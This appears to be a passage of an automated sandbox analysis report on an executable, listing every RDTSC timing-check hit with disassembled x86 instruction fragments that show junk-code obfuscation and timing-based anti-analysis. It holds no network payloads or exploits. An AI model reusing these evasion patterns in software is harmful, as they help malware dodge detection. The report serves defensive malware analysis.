Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD2E2 second address: EFD388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 add dword ptr [esp], 67A4D825h 0x0000000d jp 00007F76C52A0356h 0x00000013 push 00000003h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F76C52A0358h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f push 00000000h 0x00000031 call 00007F76C52A0367h 0x00000036 pop edx 0x00000037 push 00000003h 0x00000039 push AE3F54EFh 0x0000003e jmp 00007F76C52A0369h 0x00000043 add dword ptr [esp], 11C0AB11h 0x0000004a add dword ptr [ebp+122D2D6Ah], eax 0x00000050 mov ecx, dword ptr [ebp+122D373Ch] 0x00000056 lea ebx, dword ptr [ebp+12457FB1h] 0x0000005c push eax 0x0000005d mov dword ptr [ebp+122D1FA8h], edi 0x00000063 pop edx 0x00000064 xchg eax, ebx 0x00000065 jmp 00007F76C52A035Ah 0x0000006a push eax 0x0000006b pushad 0x0000006c push eax 0x0000006d push edx 0x0000006e push edx 0x0000006f pop edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD3D3 second address: EFD45D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F76C4CE142Ch 0x00000008 js 00007F76C4CE1426h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 mov dword ptr [ebp+122D21D2h], edx 0x00000019 push 00000000h 0x0000001b mov si, di 0x0000001e push 38D39300h 0x00000023 push edi 0x00000024 jmp 00007F76C4CE1439h 0x00000029 pop edi 0x0000002a xor dword ptr [esp], 38D39380h 0x00000031 push eax 0x00000032 cmc 0x00000033 pop esi 0x00000034 push 00000003h 0x00000036 mov edi, 6DDBCDA5h 0x0000003b mov esi, dword ptr [ebp+122D1FF7h] 0x00000041 push 00000000h 0x00000043 xor dword ptr [ebp+122D2A72h], ecx 0x00000049 push 00000003h 0x0000004b and di, AF7Ch 0x00000050 mov esi, dword ptr [ebp+122D3A08h] 0x00000056 call 00007F76C4CE1429h 0x0000005b pushad 0x0000005c push ebx 0x0000005d pushad 0x0000005e popad 0x0000005f pop ebx 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007F76C4CE1430h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD45D second address: EFD4E5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F76C52A035Bh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007F76C52A0361h 0x00000016 mov eax, dword ptr [eax] 0x00000018 jbe 00007F76C52A036Ah 0x0000001e jmp 00007F76C52A0364h 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 jmp 00007F76C52A0367h 0x0000002c pop eax 0x0000002d or edx, 4ADA5549h 0x00000033 lea ebx, dword ptr [ebp+12457FBCh] 0x00000039 jno 00007F76C52A0361h 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 jno 00007F76C52A0358h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1D6C4 second address: F1D702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F76C4CE1426h 0x0000000a jno 00007F76C4CE1426h 0x00000010 popad 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop edx 0x00000015 jnl 00007F76C4CE142Ah 0x0000001b popad 0x0000001c pushad 0x0000001d pushad 0x0000001e jmp 00007F76C4CE1432h 0x00000023 pushad 0x00000024 popad 0x00000025 jng 00007F76C4CE1426h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1D9AF second address: F1D9B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DC48 second address: F1DC68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F76C4CE1426h 0x0000000a popad 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F76C4CE142Dh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DC68 second address: F1DC81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F76C52A035Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DC81 second address: F1DC91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F76C4CE142Ah 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E1BC second address: F1E1C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E1C2 second address: F1E1C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E5A9 second address: F1E5C2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F76C52A0356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F76C52A035Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E5C2 second address: F1E5C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E5C6 second address: F1E5CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E5CF second address: F1E5DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F76C4CE1426h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E5DE second address: F1E5E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EC1E second address: F1EC22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EC22 second address: F1EC2B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EF23 second address: F1EF2F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F76C4CE142Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F0F6 second address: F1F0FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F0FA second address: F1F0FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F0FE second address: F1F10B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F10B second address: F1F120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76C4CE142Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F3F4 second address: F1F3FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F3FA second address: F1F404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F76C4CE1426h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F404 second address: F1F408 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F408 second address: F1F40E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDFFFB second address: EE0006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE0006 second address: EE0011 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 je 00007F76C4CE1426h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F27A06 second address: F27A18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A035Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F27B07 second address: F27B1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jg 00007F76C4CE1426h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F27B1F second address: F27B29 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F76C52A0356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F27B29 second address: F27B3C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F76C4CE1426h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F27B3C second address: F27B6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A0367h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F76C52A035Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F27B6B second address: F27B71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26BDF second address: F26BE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F27C5B second address: F27C8B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F76C4CE142Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jp 00007F76C4CE1432h 0x00000011 jng 00007F76C4CE142Ch 0x00000017 jno 00007F76C4CE1426h 0x0000001d mov eax, dword ptr [esp+04h] 0x00000021 pushad 0x00000022 js 00007F76C4CE142Ch 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F27C8B second address: F27CA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76C52A035Eh 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c push esi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B9E5 second address: F2B9E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2AE5E second address: F2AE64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B85E second address: F2B862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B862 second address: F2B86C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F76C52A0356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B86C second address: F2B87C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F76C4CE1432h 0x00000008 jns 00007F76C4CE1426h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CED0 second address: F2CF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F76C52A035Fh 0x0000000d push edi 0x0000000e jmp 00007F76C52A0365h 0x00000013 pop edi 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CF08 second address: F2CF0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CF0C second address: F2CF2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop esi 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e push edi 0x0000000f jno 00007F76C52A0356h 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 je 00007F76C52A0356h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D3A5 second address: F2D3B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE142Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D517 second address: F2D51B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D51B second address: F2D51F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D51F second address: F2D525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DA3C second address: F2DA40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DA40 second address: F2DA59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jl 00007F76C52A0356h 0x0000000d pop edi 0x0000000e popad 0x0000000f mov dword ptr [esp], ebx 0x00000012 clc 0x00000013 nop 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DA59 second address: F2DA60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DC03 second address: F2DC09 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DD1B second address: F2DD39 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F76C4CE1436h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DEF8 second address: F2DF13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76C52A0367h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E084 second address: F2E0C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F76C4CE142Ah 0x00000010 popad 0x00000011 jns 00007F76C4CE1428h 0x00000017 popad 0x00000018 nop 0x00000019 mov dword ptr [ebp+122D2CBBh], edi 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push ebx 0x00000023 jmp 00007F76C4CE1432h 0x00000028 pop ebx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2F454 second address: F2F491 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A0364h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b jo 00007F76C52A0356h 0x00000011 pop edx 0x00000012 jnl 00007F76C52A0369h 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3045C second address: F30464 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30464 second address: F30468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31EE6 second address: F31EEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31EEA second address: F31EEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31EEE second address: F31EF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31EF8 second address: F31F23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A0366h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F76C52A035Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31F23 second address: F31F3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1436h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F348CB second address: F348D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F76C52A0356h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F348D5 second address: F348E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F348E4 second address: F348E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F348E8 second address: F348EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F348EE second address: F34957 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F76C52A035Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b movzx esi, di 0x0000000e push 00000000h 0x00000010 adc esi, 66D15BB1h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F76C52A0358h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 xchg eax, ebx 0x00000033 pushad 0x00000034 jbe 00007F76C52A0358h 0x0000003a push edx 0x0000003b pop edx 0x0000003c jmp 00007F76C52A035Fh 0x00000041 popad 0x00000042 push eax 0x00000043 je 00007F76C52A0369h 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F76C52A035Bh 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38A66 second address: F38A6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38EEB second address: F38F4C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F76C52A035Ch 0x0000000c jl 00007F76C52A0356h 0x00000012 popad 0x00000013 push eax 0x00000014 je 00007F76C52A0360h 0x0000001a pushad 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d jo 00007F76C52A0356h 0x00000023 popad 0x00000024 nop 0x00000025 movzx ebx, si 0x00000028 push 00000000h 0x0000002a mov dword ptr [ebp+122D2D30h], edi 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007F76C52A0358h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 0000001Ch 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c or dword ptr [ebp+122D1EA9h], ecx 0x00000052 xchg eax, esi 0x00000053 pushad 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3AFE5 second address: F3AFE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3AFE9 second address: F3AFEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3E2B0 second address: F3E2B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D3ED second address: F3D3F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D3F1 second address: F3D405 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1430h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3E2B4 second address: F3E2BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D405 second address: F3D414 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76C4CE142Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3E2BA second address: F3E325 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F76C52A0362h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F76C52A0369h 0x00000010 nop 0x00000011 mov edi, eax 0x00000013 push 00000000h 0x00000015 mov ebx, 2C4A1734h 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007F76C52A0358h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 push eax 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F76C52A035Ch 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D414 second address: F3D418 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F592 second address: F3F5AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C52A0365h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4041E second address: F40439 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76C4CE1437h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4126B second address: F41276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F76C52A0356h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40439 second address: F40455 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76C4CE1438h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40455 second address: F40459 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
